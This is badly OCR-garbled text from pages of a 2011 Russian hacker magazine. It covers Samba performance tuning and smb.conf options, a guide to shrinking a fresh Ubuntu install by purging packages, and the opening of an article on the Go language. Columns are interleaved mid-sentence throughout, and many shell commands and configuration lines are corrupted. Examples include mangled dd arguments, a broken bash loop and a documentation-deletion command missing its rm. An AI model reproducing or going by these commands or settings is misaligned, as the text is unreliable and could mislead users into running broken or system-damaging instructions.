досту п к расшаренным ресурсам. Допускается задавать символиче­

Есл и т ы хочешь увеличить скорость п ередачи файлов в своей сети ,

ские имена, I Р-адреса или диапазоны адресов, например элемент

то придется поэкспериментировать. В своих рассуждениях я буду

вида« 150.203.» разрешает соединения со всех IP-аАресов подсети

опираться на особенности реализации интерфейса сокетов в Liпuх

150.203.0.0/16. Если параметр не задан, то соединения разрешены

lоб этом можно почитать в руководстве socketl711. Первым делом до­

для всех. Параметр можеттакже применяться к отдель н ым секциям ,

бавим в конфигурацию

Samba следующую запись:

п озволяя гибко разграничивать права д оступа.

3. l09 file -

путь записывания логов. Здесь стоит отметить возмож­

[ gl obal ]

ность задания переменных в конфиге: например, значение «/var/log/

so cket options =

samba/%m.log» позволит создавать отдельный лог-файл для каждой

SО_RСV В UF =б 55 3б S О_SN DВ U F =б 5 53б

тср _ NODELAY IPTOS_ LOWDELAY

подключающейся машины, что весьма полезно для мониторинга

Смысл пара метров:

актив н ости о тдельных клие н тов.

4. iпсludе - п озволяет подключать произвольные кон ф и г и. Наиболее

1. тср _ NODELAY отвечает за задержку пакетов. Начиная с Samba

эффективен при использовании с переменными , например «%т» ,

2.0 данный

в таком случае для разных клиентов можно задавать различные на­

версиях его установка может привести к ускорению работы на

СТРОЙКИ: include = /usr/local/samba/libIsmb.conf. %т.

2. IPTOS_ LOWDELAY -

5. iпtегfасеs - список сетевых интерфейсов, на которых будут висеть

пускной способности. Но он затрагивает работу роутеров и конечных

д емо н ы

Samba . П о умол ч анию задействуются все интерфейсы , кро м е

пара метр устанавливается по умолчанию , в более старых

30%.

еще один параметрдля оптимизации про­

систем , а не сервера. Этот пара метр должен использоваться вместе с

[о. Имена нужно задавать через пробел, либо указывать запись вида

Т СР _NODELAY и может обеспечить при рост производительности до

«адрес сети/маска».

20%. 3. Опции SO_ RCVBUF и SO_ SNDBUF определяют максимально

6. 9uest only -

если этот параметр выставлен в

«yes», то доступ

К раз­

деляемому ресурсу возможен только с правами гостя.

7. iпvаlid users -

задает через пробел список пользователей, кото р ым

можный размер буферов приема и передачи

воз­

Samba. Уменьшение

размера буферов приводит к увеличению фра г мен тации пакетов,

запрещен досту п к разделяемым ресу р сам. Здесьже мож н о за д ать

увеличение размера

группу UN IX/NIS, использовав в качестве префикса «ra» ИЛИ «+» соот­

Чтобы найти оптимальные параметры для конкретных условий,

- к уменьшен и ю фрагментации.

ветственно.

надо провести эксперименты по передаче тестового файла раз­

8. cгeate mask - маска прав доступа для созданных файлов. По умолча­

мером

нию равна

выполнения операций. Для создания

0744,

что означаетсброс прав на исполнение для пользовате­

лей груп п ы и остальных . Задается в секц и и разделяемого ресурса.

~

092

100 Мб и 100 тестовых файлов по 1 Мб , затем оценить время 1ОО-мегабайтного тестового

файла выполни команду:


Дефолтный

smb.conf неплохо откомментирован

$ dd if= / dev / zero of=testfile eount=1e24e bs=1e24e

2. stгict sync - установленный в «yes» . этот параметр заставляет сервер при каждом новом пакете с уста­

Для создания

100 файлов

размером

1 Мб п оможет сле­

дующий скрипт:

новленным битом

sync сбрасывать дисковые буферы

непосредственно на диск. что сущес твенн о снижает

$ cat mkfiles. sh #!/bin / bash for «i=l; i <=lee; i++»; do dd if=/dev/ zero of=testfile${i} done

eount=le2~

bs=le24

производительность при работе с некоторыми прило­

~

жениями. но при установке в «по»

На прилага емом к

появляется некото­

dvd

рая вероятность потери данных во время сбоя.

журналу DVD-диске

3. syne always - включение этого пара метра означает

ты найдешь исход­

сброс содержимого каждого нового пакета на диск. ми­

ные коды

нуя дисков ые буферы и вне зависимос ти от бита

Webmi n.

sync.

Samba

и

Весьма пагубно сказывается на производительности. Далее нужно при монт и ровать шару:

поэтому включать рекомендуется толь ко если сервер

работает нестабильно.

Samba

$ mount -t cifs -о guest / home / use r/s hare /

// 192.1б8.1 . 1еl /s hаrе

\

4. wide links -

пара метр определяет. могут ли ис­

пользоваться символические ссылки в разделяемых

ресурсах. Выключение этого параметра приведет к и пр овест и копирование с замером времени:

дополнительному системному вызову при открытии

каждого файла.

$ time

ер

/ home/user/s hare /tes tfile / home / user/

5. deadtime - значением этого пара мет р а является время бездействия в минутах. по истечении которого

Результаты. получившиеся у меня. можешь наблюдать

соединение с клие нтом будет разорвано. По умолча­

на рисунке [шкала у - время копирования в секундах].

нию ус тановлено в О. то есть соединение с клиентом

Примечание: сервер

не будет разорвано никогда. При большом количестве

Samba имеет привычку кэши­

ровать передаваемые данные. п оэтому рекомендую

клиентов это может привести к проблемам в работе.

перезапускать его при каждом новом тесте. В конфи­

п оэтому рекомендую измен и ть з н ачение на

ге

6.

smb.conf можно задать ряд пара метров. ко т орые

тах

connections -

15.

максимальное число одно­

так или иначе будут сказываться на производитель­

временных подключе н ий к серверу. Поумолчанию

насти.

выс тавлено в О [то есть без ограничений] . что м ожет

1.. hide files -

в этом параметре задается с п исок файлов

или директорий. которые будут скрыты при просмотре

привести к отказу в обслужива н ии на слабых с и стемах или в случае намеренной атаки. В большинстве случа­

разделяемого ресурса [ но будут доступны при прямом

ев з нач е н ия

обращенииl. Список задается через знак «/» . И чем спи­

7.l09 level - детализац и я логов . задается числом от

сок длиннее. тем больше будут задержки при просмотре

О до

разделяемого ресурса. так как все файлы п рогоняются

поэтому не рекомендуется выставлять этот пара метр

10.

вполне хватает.

Запись на диск

на соответствие каждо г о элемента сп иска. Без крайней

в значение больше

необходимости лучше не использовать.

с итуаций.

ХАКЕР

04 /147/ 201 1

- весьма за тр атная операция.

2. за исключением отладочных

~

093


Login: root D W8bmin

5 еагсn OOCI ..

а System а Serve rs

5е!ес! all . l lnvt!rt seJection. I Creete а new file share. I Create а new printer ,nаге. I Create а new (ору. I Vrew аН connecti ons.

а Others

D

Netwon:ing

Share N"Hne

а Hardware

о Share

а clulter

D

Patll

SecHГlty

~тp

Read only (о everyone

Select all. I lnvert selection . I Cre at . а new fjle , nаге. I Creatl! а new print.r .nаге . Creete е new сору. I Vrew all connecti on •.

u n·used Modules Арасме w,bs,rver

I

L.;U~~~~~~~

I Delete sel8ctea' shares J

BINO DNS 5erver DiskQuotas Dovecot IМАРjPОР Э 5 8",е, Fetchmail Mail Ret ri eval

Global Parameters Global Conflguratlon

ШАР client ШАР 51!",ег

~

РРР Oialup cHent P,oFТPD

ГiiПГilГiilГiilГbl~Г1[lГiП

51!rv. ,

Unix Networking

SpamAssassin Mail Filter s quid РГО'о/ 5 8"'е' System l ogs Sys.tem l ogs NG

~

I

l!J

Windows Networking

Autnentication

tf)

Miscellaneous Options

Winbind Options

~~~.l

~

File share Default s

Windows to Unix Printing

~

Printer Share Defaults

это не только гламурный веб-интерфейс, но и удобная настройка сервера Samba

Webmin -

О Baslc @ Actvanced

Current

View

Change

VJew ТО: I Besic 11 Advanced I

Is:

1Cornm~ Ch_nges 11 Reset Values 1 8"0

Орtlоп,

t::WIg

d05 char5et

~

unlx char5et

I UТF-B

15et Defau~ 1

Привет, 90-е! Штатная утилита 8. syslog - параметр отвечает за попадание событий в систем­ ный

ния

SWAT для

редактирова­

smb.conf через браузер

syslog. По у м ол чанию равен 1. что означает запись ошибок и

предупреждений. Можно п онизить дО О, т о гда будут записываться

выдерживает ни к ак ой кри ти ки, но о на п олезна сточки зрения

только ошибки.

тон кой настройки, по ско ль ку п оказывает все возможные пара ме­

Сле дует также отметить, что о щутимую прибавку к производитель­

тры конфига и дает контекстные подсказки к кажд о м у из н их. Для

н ости м ожет дать использование асинхронного ввода-вывода.

кор р ект н ой работы необ хо ди мо до уста н овить па ке т

Правда, для это г о необходимо пересобрать

SUPPOR T, по сле чего добавить в конфиг следующие п арамет ры :

растап

-5 xinetd

service 5wat

Shit happens Samba могут вылезти различного рода косяки и граб л и.

при меры, для распространенных и з них . Для реше ния пр облемы с

отображением кириллических символов рекомендуется выставить сле дующ и е п араметры в сек ции

#

З атем привести фай л /е t с/х i пеtd.d/swаt к следующему виду:

aio read size ; 16384 aio wri te size ; 16384 aio wri te be hind ; true

При работе с

xinetd:

Samba с о пци ей АIO_

global:

dos charset ; ср866 uni x charset ; UTF8 display charset ; UTF8

type ; UNLI5TED protocol ; tcp port ; 981 socket_type ; stream wait ; по user ; root server; / usr /sbin/swat log_on_success +; НО5 Т DURAТION log_on_failure +; НО5 Т disable ; по

А если в твоей системе нет и не планируется развертывание серве-

ров печати CUPS, то в логах периодиче с ки будут появляться ошибки

Атакже добавить в файл /etc/hosts.a llow строку «swa t : 127.0.0.1 ». По-

по этом у поводу. В таком случае лучше отключить поддержку печати

сле чего запустить демон хiпеtd :

в Samba, добавив в сек ци ю global сле дующие ст р ок и :

# /etc/rc. d/xinetd start

load printers ; по show add printer wizard ; по printing ; попе printcap пате ; / dev/null disable spoolss ; yes

И вуаля l SWAT доступен по адресу http://localhost:901. Альтернативны м средством для у правл е ни я параметрами

Samba из

браузера является WеЬmiп, который имеет приятный интерфейс и множество функций для у прав ления системой.

WinXP - достаточно древняя и глючная система, но, тем не менее,

#

множество людей остаются ей верны. При использовании разделя­

# / etc/rc.d/webmin start

рас тап

-5 we bmin perl-net-ssleay

емых ре су рсов эта о пераци онка открывает соеди н ения сразу к двум

портам: 139/tcp и 445/tcp. Если ей это удается, то на 139-м порту сое­

П осл е устан овки и запуска демона веб-морда будет доступна п о

ди н е ни е она разрывает , что прив о дит к п оя вл е нию в логах зап и си

а др есу https:!/localhost:10000.

«get peername fai led. Errorwas Тгап s рогt

е пdроiпt

is

по!

connected».

Чтобы ошибка не возникала, необходимо д обав ить в секцию стр очку

globa l

«sm b ports; 139».

Подводим итоги Процесс н астр о йки

Samba - это сл ож н ая и интер ес ная за дач а.

После оптимизации у меня пол у чило сь сокра т ить время п ередачи

GUI в помощь

файлов в с р ед нем на

С помощью SWAT ISamba Web Аdmiпistгаtiоп Tooll можно кон­

много л у чше : в некоторых источниках сообщается об ускоре н ии аж

фигу рировать самб у прямо из бра у зера. Интерфейс утилиты не

до

~

094

20%. Возможно, твои успехи в этом будут на­

200%. :х: ХАКЕР

04/147/2011


8'ШfХ·]!·• • • Евгений 30бнин I z obninragmaiL .c oml

ИЕТА ля ПИНГВИНА Чистим свежеустановленный

Ubuntu от хлама

Ты никогда не задумывался о том, почему свежеустановленный

с базовым графическим интерфейсом и мизерным набором стандартных приложений занимает целых 2 Гб дискового простран­ ства? Если да, то читай дальше - мы посадим пингвина на диету и сделаем так, чтобы он занимал гораздо меньше места.

Ubuntu

Постановка проблемы

самых востребованных пользователями приложений, поддержка

Сегодняшние дистрибутивы

нескольких языков; различные инструменты для людей с ограни ­

Linux

не только быстры , удобны

и приятны глазу, но и невероятно громоздки. В ста ндартн ой

ченными возможностями и многое другое. Все это может и должно

ком пл ектации большинство из ни х за нима ет больше

занимать определенное простран ство на жестком диске.

4 Гб. И

это при том, что о ни способ ны обеспечить пользователя только

Linux предо ставляет не меньшую свободу выбора и программи­

одной графической средой и небольшим на бором приложений ' К

стам. Не имея какого-либо стандарт изированного интерфейса

слову сказать, нет даже кодеков для воспроизведения аудио- 'и

общения с операционной системой в виде единого

видеофаЙловl. Куда же утекают заветные гигабайты свободного

wi п З2 в

простран ства?

зован ие любых удобных для пр о грамми ста интерфейсов и сред

Как это ни с транно, причина прожорливо сти

Linux

е го главном до с тоинс т ве. Хороший дистрибутив

скрывается в

L inux -

очень

Windows

или Сосоа в Ма с

05

Х,

API, такого как Linu x п оощряет исполь­

исполнения. Разработчик волен сам выбирать библиотеки гра­

фических интерфейсов, будь то

GTK, О! или даже FLTK. Он может

гибкая операционная система, способная под с троиться под лю­

и с поль зовать любые подр учные либы, не беспокоясь о том, что

бого поль зова теля и любое оборудование. В нем есть все для того,

их не окажетс я на целевой системе, ведь менеджер пакетов все

чтобы удовл е творить потребности

равно самостояте льно установит их. Он может писать приложения

99%

юзеров: огромное количе­

с тво драйверов, с по соб ны х вдохн ут ь жизнь пра ктически в любую

практически на любом из существующих языков программирова­

железку; куча разных демон ов, апплетов и виджетов, делающих

ния, и все н еобход имые интерпретаторы, виртуальные машины и

общен ие с этими железками простым и понятным; набор из

библиотеки точно так же будут доустановлены в автоматическом

ХАКЕР

04 / 147/ 20 1 1

~

095


• •

Е в гений Зобни н

IzobninragmaiL.coml

!!~ BluchBit

file

fd~

J:j.lp

IJ

Preview Oelete Active ....

Nome 8

Dеер

EI EI EI EI EI

scon

.DS_Store Bockupfil6 Tempororyfil6 Thumb5.db

C.кhe:UeI6e

Соспе

fQ]

Cookies

I{J

DOM Storilge

I{J

Oownlood histo'Y

[i]

Form histo'Y

~

P05swords

~

РldСб

Session restore URl history

(lJ

V.cuum

flI

Intemet Explorer

EJ

Syst.m

[]

the web

соспе,.

which reduces time to display revisited

plg es Cookies: Delete cookies, which contoin info rmation such 05 wtb site preferences, .uthenticotion, ond ulcking identificotion

I{J

8 Firefox

Firefox Web brow5er

DOM Stor~e-: Delete HTMLS cookies Е

Down&oad history: list of files downloaded

Form history: А history of forms entered '" web sites Ind in the Seorchbor Passwords: А dotobose of U5ernomes ond posswords 05 well 05 о list of sittS thot should not store p,sswords dotobl5e of URls including bookmerks, fevicon5, ond о history of visited web slt:es Plкes: Д

S~n

rMore: loads the initiol se5sion ofterthe browser Cl05es ог

crlshes

.

,., ." ~

",. о .'

. •. .

~

___ • . .

0. 0'._ ' . . .

приnожений

в пункте Accessories. Это калькулятор (gca lctool] , программа для исследования шрифтов (gucharmapl, анализатор использования дискового пространства (ЬаоЬаЫ, программа для поиска файлов

$ s udo apt-get purge gcalctool gucharmap \ ЬаоЬаЬ gnome-search-tool tomboy Эта операция даст нам еще

Куча ядер в загрузочном меню Ubuntu

странства. С н ова идем в меню, самое бесполезное теперь л еж ит

.J .

ВleachВit: кросcnлатформенная утилита для очистки кэша

Со временем загрузоч ное меню

Gnome в Ubuntu

(gпоmе-sеагсh-tооll и тот самый ТотЬоу. Удаляем:

URL history: l ist of visited web poges . . . . .... _

ПакеТbI

1О Мб места и откроет возможность из­

бавиться от mопо. Выполняем:

может обрасти большим

количеством вариантов ядер (после обновления ядра старое ядро не

$ sudo apt-get purge mono-2 ,e -gac mono-charp-shell \ mono-gac mono-gmc s mono- runtime

удаляетсяl. Чтобы очистить его , достаточно выполнить следующую Это еще

команду:

30 Мб.

Вновь возвращаемся в меню. И з совсем н еинте ресного : програм­ ма для за писи с микроф о на и редактор видео

$ aptitude purge $(aptitude search -ilinuximage - F %p legrep -v "$(uname -r) llinux- imagegeneric")

pitivi.

К сожалению,

сразу определить прин адлеж но сть диктофона к какому-либо паке ­ ту трудно, поэтому мы установим утилиту

apt-fi le,

которая поможет

это сдела ть :

режиме. Само собой раз умеется, что при комплектации устано­ вочного ди ска все зти бесконечные зависимости будут включе­ ны в комплект, а во время установки попадут на жесткий диск

пользователя . И н е стоит даж е надеЯТЬСЯ,на то, что разработчики дистрибутива будут подбирать софт, основываясь на его количе­

$ sudo apt-get install apt-file $ apt-file update $ apt-file search / usr / bin /gnome-s ound -recorder gnome-media : /usr/ bin /gnome-sound-recorder

стве зависимостей и следя за тем, чтобы они не тащили в систему ничего лишнего. Например, ста ндартна я комплектация дистри­

бут ива

Нужный (точнее, не нужныйl нам пакет зовется gпоmе-mеdiа, удаляем:

Ubuntu включает в себя простую программу для ведения

заметок ТотЬоу, и э та небольшая программа тащит за собой весь рантайм топо , занимающий более

$ sudo apt-get purge gnome-media

30 Мб дискового простр ан­

ства. В устройстве Liпu х-дистрибутива есть еще много различных

Всего

нюансов , которые делают его более тяжелове сным, но описанные

VNС-вьюер и клиент

выше

если вдруг нужны, ты м ожешь просто пропустить этот шаг:

-

это основа, от которой мы будем отталк ивать ся, избавляя

2.5 Мб, зато меню будет чище. Далее на очереди идет словарь , Remote Desktop. Врядли они тебе нужны , но

пингвина от жирового с л оя.

$ sudo apt-get purge gnome-dictionary \ wamerican vinagre tsclient rdesktop

Освобождаемся от хлама Начнем с того , что попытаемся очис тить сис тему от явно ненужно­ го шлака , сохра нив при этом оригинальный рабочий стол

Ubuntu

в почти н еизменном виде и ставив все сколько-нибудь нужные

Еще

5 Мб и более чи с т ое меню. Остальные программы можно

пока оставить на месте и избавиться от хлама типа документации,

пр иложе ния н а месте.

п люшек для людей с ограниченными возможностями, примеров,

Итак, ставим

хранителя экрана и системы тестирования UЬuпtu:

Ubuntu и выполняем «df -h». Объем за нятогciдис­

кового про странст ва составляет ни много ни мало

1.9 Гб. Сразу

смотрим в меню приложений . Здесь у нас есть раздел

Games,

который врядли представляет какую-то ценно сть . Уда ляем все его содержимое одной командой:

$ sudo apt-get purge gnome-games-common gbrainy Пакет

gnome -games -common утянет за собой aisleriot, gnome-

$ sudo apt-get purge gnome-accesibility-themes gnome-doc-utils gnome-mag gnome-screensaver screensaver-default-images xs creensaver- \* gnome-user-guide example-content checkbox\* branding-ubuntu Так мы освободим еще

167 Мб пространства. Далее разберемся с

mahjongg, gnome-sudoku, gnomine, quadrapa ssel вместе со всеми

«повисшим и » зависимостями

конф игура ци о нными ф ай л ам и и освобод ит для нас

числены в зав исимостях уже удален н ых н ами пакетов и теперь

20 Мб пр о-

- пакетами, которые были п ере­

ХАКЕР

04/147 / 2011


не нужны. Для этого нам понадобится программа

orphaner,

включенная в пакет

$ sudo apt-get

deborphan:

iпstаll dеЬоrрап

Запускаем программу, видим список «с ирот », отмеча­

ем их с помощью пробела и выбираем кнопку «ОК». В конце процедуры снова будет выведен список, на этот раз в нем перечислены «сироты сиро т ». Повторяем все действия до тех пор, пока с пи со к не окажется п уст.

Дальнейша я чистка н еизбежно скажется на функцио­ нальности и внешнем виде дистрибутива, поэтому тем , кто любит UЬuпtu таким, какой он есть, лучше оста­ новиться на достигнутом. Всем осталь ным

-

добро

Без

по жаловать в следующий раздел статьи.

orphaner осиротевшие пакеты

было бы гораздо труднее

найти

Большая уборка UЬuпtu включает в себя достаточно много приложений,

жет быть, он и удобен тем, кто делает по пятьдесят фото­

и далеко не каждое из них уст раи вает всех пользовате­

графий в день, но обычному человеку гора з д о удобнее

лей. Я, например, уже несколько лет не п ол ь зуюсь по­

смотреть фотки через

Nautilus:

чтовыми программами, предпочитая им web-интерфейс

gmail, а от интерфейса с танд ар тного UЬuпtu - пле ера Rhytmbox меня тошнит ' как , впрочем, и от его идейных родителей - Amarok и iТuпеsl. Поэтому для меня они

Это

не представляют никакого интереса и только загро­

и клиент социальных сетей

мождают меню. Кому-то другому могут быть не нужны

ные программы, но не имеющие смысла для людей, не

I М-клиент и оф и сный пакет. И от всего этого можно без­

п ере варивающ их соц и альщину:

$ sudo apt-get purge shotwell 4 Мб. Еще есть такие штуки, как IМ-клиент Empath y Gwibber. Во многом полез­

болезненно отказаться. Наверное, самый «т олстый» компонент Ubuntu - это OpenOffice. Он, конечно , очень нужен, если ты студент,

$ sudo apt-get purge empathy empathy-common telepathy- \ * gwibber gwibber-service

препод или секретарша, но большинству людей он со­ вершенно не сдался, поэтому избавляемся:

Мб долой. Можно еще удалить В i tТоггепt-клиент

Еще

firefox, но это уже кощунство и допустимо разве что в случае их замены на Deluge и Google Chrome. Теперь перейдем к меню «System О

орепоffiсе \ *

256 Мб чистоты. Очень неплохо. Следующие на

dvd

Для большего удобства мы собрали

18

tгапsmissiоп и браузер

$ sudo apt-get purge

~

все необходи м ые

ко манды в файл

im_too_lazy_to_type_ it.txt. Вместо набора

Аdmiпistгаtiоп». В нем гораздо больше важных при­

команд тебе будет

очереди: неудобный mаil-клиент Еvоlutiоп, совершенно

ложений, но все равно много ненужного. Например, я

достаточно делать

никакой видеоплеер

совершенно не понимаю назначен и я программы под

со ру·п·раstе.

Totem и аудио пр о игр ывательдля Rhytmbox: _

любителей лицензионной музыки

названием

Computer Janitor. Никогда еще она не на­

ходила чего-то действительно бесполезного и никак не

$ sudo apt-get purge

еvоlutiоп еvоlutiоп-соmmоп

чистила систему. Соответственно, в топку:

еvоlutiоп-dаtа-sеrvеr еvоlutiоп-iпdiсаtоr еvоlutiоп-рlugiпs еvоlutiоп-wеЬсаl liЬеvоlutiоп

totem

tоtеm-соmmоп

$ sudo apt-get purge

соmрutеr-jапitоr \*

libtotem \ * rhytmbox mediaУтилита выбора языка тоже довольно спорная програм-

рlауеr-iпfо liЬgпоmе-mеdiа8

ма, в большинстве случаев абсолютно ненужная: Это еще

26 Мб и сильное ощущение своей право -

$ sudo apt-get purge language-selector

gstreame r, используемый Totem

lапguаgе-еlесtоr-соmmоп

и

Rhytmbox,

однако

info

•Не

ты. Теперь можем удалить мулыимедиа-фреймворк здесь есть два подводных камня . Во-первых,

~

сто ит бояться

удалить какой-либо пакет, если т ы не

gstreamer

уверен , что он нужен

сильно завязан на всю систему, и полное избавление

Теперь поговорим о поддержке железа. Как я уже упо-

кому-то еще. Утилита

от него повлечет за собой удаление некоторых нужных

минал в начале статьи,

apt-get

системных пакетов . Мы можем избавиться только от

количество разнообразных железок, для каждой из

Ubuntu

поддерживает огромное

покажет

список его зависимо-

подсобных пакетов фреймворка, но даже в этом слу чае

которых в системе есть н е только драйвер, занимаю щий стей до удаления, и

придется попр ощаться с программой для прожигания

несколько десятков килобайт, но и гора здо более тяже-

ты с можешь принять

дисков

ла я обвеска в виде различных демонов и приложений,

решение.

Brasero. Если это не принципиально, то делаем

работающих с этим драйвером.

следующее:

Так, например, UЬuпtu очень хорошо поддерживаеттех- . Чтобы кэш ска­

. $ sudo apt-get purge gstreamer8, 18-alsa gstreamer8, 18-попliп gstrеаmеr-8,18-пiсе gstreamer8, 18-рlugiпs-Ьаsе gstreamer8,18plugins-base-apps gstreamer8 , 18-plugins good gstreamer8 ,18-pulseaudio gstreamer8 , 18-tools gstreamer8 , 18- x gnome-codec-install brasero \* В комплекте

ХАКЕР

Ubuntu иде т менеджер фото Shotwell. Мо-

04 /147/201 1

нологию

Bluetooth,

для которой в системе есть и драй-

чанных с п омощью

вера, и демоны, и графи ч еские программы настройки.

apt-get

Вопрос только в том, нужен ли синезубый в наше время

загромождал систему,

пакетов н е

господства

3G и Wi-Fi сетей. Думаю, что многим уже нет. его необходимо пе­ Bluetooth в большинстве случаев риодически подчиотказаться: щать: sudo apt-get clean .

Поэтому от поддержки можно

$ sudo apt-get purge bluez\*

~

097


'.""

!:::!аw ина

Ubuntu 10.10 Жст ро йс тва

( П ОUlе ус т~н оек и )

(...

CnpaBкs.

Куча дополнительных пакетов из-за одной простой программы Эта команда уда лит не тол ько реализацию Blu etooth- протокола, распространяемую в пакете bluez, но и все ее зависимости в виде

irru s, geod e, Н28 , i74e , intel , mа с hб4 , mga , neomagic , поиуеаи , пу , open chrome , r128 , radeon , rendition , s3 , s3virge, savage ,

gпоmе-биб ли отек и графических и нтерфеЙсов. Выигрыш скром -

siliconmot ion , sis , sisusb, tdfx, trident, tseng , vmware , voodoo}

ныЙ:12Мб. Д а л ее , у тебя д о ма есть ска н е р? Если нет, то и п о дд е ржка ска н еров в системе н е н уж н а. В

Также можно потереть ра зличн ые плюшки для драйверов

nVid ia и ATi:

Ubuntu досту пна простая программа для

ска нир ования документов под н азва ни ем Simple Sca n, она опирается на стандартную библиотеку для ра боты со сканера ми

$ sudo apt - get purge nvidia -\* fglr x -mod alia ses radeontool

SANE.

Уда лив последнюю, мы удалим п одде ржку скане р ов полностью :

А вместе с ними и за головочные файлы яд ра, кото р ые в

Ubuntu вклю­

чены только для того, чтобы соби р а ть и устанав л и вать модули для

п ропри етарных в и деодрайверов, но в обычной с итуации они нужны

$ sudo apt-get purge libsane

редко, а занимают Это даст нам дополнительные

и, скорее всего, он подключен кдома шн ей машине, поэтому если ты

чистишь

90 Мб:

15 Мб. Третье: пр интер есть наверняка,

$ sudo apt-get purge linux- headers- \ *

Ubuntu , установ ленный на ноутбук , то от поддержки принте­

ров тоже можно и зба вить ся:

В с и стеме оста ло сь еще н е мал о ра з личны х утилит и библиотек, с п е цифичных для конкретных желез я к , но мы можем потратить весь

$ sudo apt - get purge cups cups- common hpijs hplip-data

день , р азби р аясь с кажд ой из них. Вместо этого мы избавимся от

gsfont s

хлама, скрытого глубоко внутри системы. Например, compiz'a l если, конечно, тебе не нужны эффекты рабочего стола ) :

Настал черед видеодрайверов. драйверов

Ubuntu содержит полный комплект

Xorg, но видеокарта у нас всего одн а. Соотве тственно,

$ sudo apt - get purge compiz \ *

все осталь н ое можно удалить , но для этого придется с нача ла вы­

яснить, какие др айвера поддерживаются железом, чтобы ненаро­

Систему синтеза речи также можно выбросить, она н уж н а людям, у

ком не удалит ь нужный. Это можно сдела т ь с помощью следующей

которых проблемы со зрением:

команды:

$ sudo apt-get purge espea k\* speach - dispatcher gnome-rca $ cat / var / log/Xorg . log.e

I grep

'autoconfigured driver' Инструменты для ра з ра ботчи ков тоже, скорее всего, не н уж ны ' ко­

Сразу после слова

«Matched» будет указано имя драйвера, его

нечно, если ты сам не разработчик):

нужно запомнить. При этом драйверов может быть несколько, это вполне нормально, и лучше оставить их все. Остальные можно

$ sudo apt - get purge gcc - 4 . 4 gdb make

удал ить с помощью

apt - get П росто н абираем «a pt - get purge xse r ve r -xorg-v ideo-», два р аза нажимаем < Enter> и удаля е м все

База данных

по порядку, к р оме те х имен, ко т орые мы запомнили. Для примера

ра зной инфы в

co urchdb вместе с erlang, и с пол ьзуе мая для хране ния Gnome, также не н ужна :

можешь взять сле дующую команду, которая удаляет все драйвера, кроме

fbdev

и

vesa:

$ sudo apt-get purge xserver- xorg - video - {apm,ati , chips ,

$ sudo apt - get purge erlang \* courchdb Библиот ека

sm bclient, и с поль зуе мая для доступа к винд о вым ХАКЕР

04 / 1471 20 11


~стройства

Спра в К!.

Ищем подходящий Хоrg-драйвер шарам, не нужна на обособленных ма ш инах [к тому же занимает

Запускаем программу:

больше 50 Мбl:

$ sudo localepurge $ sudo apt-get purge smbclient linsmbclinet Теперь удаляем документацию:

Не нужен нам и

xulrunner, используемый для создания XUL-

интерфейсов:

$ sudo / usr/s hare /{ doc,gtk-doc}

Возвращение к истокам

$ sudo apt-get purge xulrunner-l, 9 ,2

Теперь поговорим о том, что делать людям, которые не хотят видеть

Также можно подрезать с ледующий консольный софт:

dc, Ьс, ed,

Gnome на рабочем столе и хотели бы за менить его на что-нибудь

Itp, lftp, pcmciut ils, screen, rsync, strace , xterm, lsol, w3m, telnet,

более легкое.

tcpdump, vim\*' При этом руководствоваться следует простым

В случае с любым другим дистрибут ивом рецепт был бы чрез ­

n ра вилом:

не знаешь, что это та кое

Вроде это все. Теперь за пу стим

-

вычайно прост : удал ить все пакеты, имеющие в названии слово

знач ит, не нужно.

orphaner, чтобы он подчистил за

gnome, плюс зачистить о с та тки, удалив приложения и библиоте­ ки. Но с

нами оставшиеся зависимости:

Ubuntu

этот трюк не пройдет, в него встроена «защита ОТ

дурака», которая, если любой из пакетов, нарушающих работоспо­ соб н ость

Gnome, будет удален, принудительно установит пакет kubuntu-desktop, тянущий за собой весь КОЕ [ просто попытайся

$ sudo orphaner Смотрим количество свободного места:

удалить

gnome,

и ты увидишь, что

apt-get

предложит для установ­

киl. Поэтому полностью очистить Ubuntu от Gnome можно только двумя более-менее простыми способами: либо скачать

$ df -h

Server

Ubuntu

и установить его в минимальной конфигурации, а затем

1.4 Гб, команда «s udo du -sh /» выдаст более точные 1.3 Гб. Вы­

доустановить все, что требуется, либо обойти систему защиты,

читаем из них размер каталога /уаг [ег о можно п олучить так: «du

удалив все gпоmе-пакеТbI разом. Первый способ я разъяснять не

-s h /уаг» 1 и полу ч аем 1.1 Г б. По чт и двукратное снижение веса при

буду, а вот про второй пару слов скажу.

сохранении полной работоспособности

Gnome, включая утилиты

В

Ubuntu

просто огромное количество пакетов составляют среду

настройки, администрирования, установки и удаления пакетов,

Gnome, вбивать их имена вручнуюты будешьдо вечера [а если

создания сетевых соедине ний . Также нам по-прежнему доступны

читаешь это вечером, то до YTpa l, п оэтому я заранее подготовил

браузер

Firelox,

список нужных пакетов и положил его на наш диск. Все, что требу­

неджер

Nautilus, программа просмотра фотографий Еуе 01 Gnome

и архиватор

пр осмотр щи к документов

Evince , файловый

ме­

Но более того, мы можем освободить еще около

ется,

-

просто скопировать его содержимое как аргумент команды

«apt-get purge».

lile-roller. 90 Мб простран­

ства , если удалим документацию инен ужные локали:

Выводы Описанная в статье методика очистки отлично работает и была не

$ sudo apt-get install localepurge

раз проверена автором. Конечно, мы могли бы добиться и более впечатляющих результатов, ужав

Ubuntu вместе с Gnome мегабайт

Отмечаем в списке «е п» И «en_GB» [ если мы работаем в англоязыч­

до

ной версии UbuntuJ, или «ru» И «ru_RU» [для русской версииl.

ния такой цели, понадобилась бы целая книга. :Х:

ХАКЕР

04/147/2011

500,

но для описания всех действий, необходимых для достиже­

~

099


• • Евгений 30бнин (zobninliJgma H.c oml

СИ НА СТЕРОИ Знакомимся с языком программирования

60

с) Мы привыкли думать, что по-настоящему универсальных языков программирования не существует. Когда нам нужна эффективность

-

мы пишем на Си и миримся с его ограничениями. Когда нужна скорость разработки - кодим на Руthоп и ожидаем получить медленный код. Еriапg позволяет создавать высокораспараллеленные распределенные приложения, но его очень трудно вписать в существующие проекты. Язык

Go полностьюломаеттакую систему мышления, сочетая в себе

позволило бы языку долго продержаться на плаву, если бы он не смог

преимущества многих языков и освобождая программистов от их

предложить программистам что-то действительно новое

недостатков.

упростило бы их жизнь и сделало

Когда десять лет назад Кена Томпсона, принимавшего активное уча­

это «что-то» В языке было. В большом количестве.

стие в разработке языка Си, спросили, каким бы он сделал этот язык на тот момент, он ответил, что язык был бы похож на

Limbo. Прошло

Go

-

что-то, что

по-настоящему незаменимым. И

Си сегодняшнего дня

немало времени, и Томпсон совместно с еще одним автором языка Си,

Создатели

Робом Пайком , принял участие в создании

сочетаю щ ий в себе эффект ивность и скорость ис п олнения кода, на­

Go -

переосмыслением и последующим развитием

языка , который стал

Limbo.

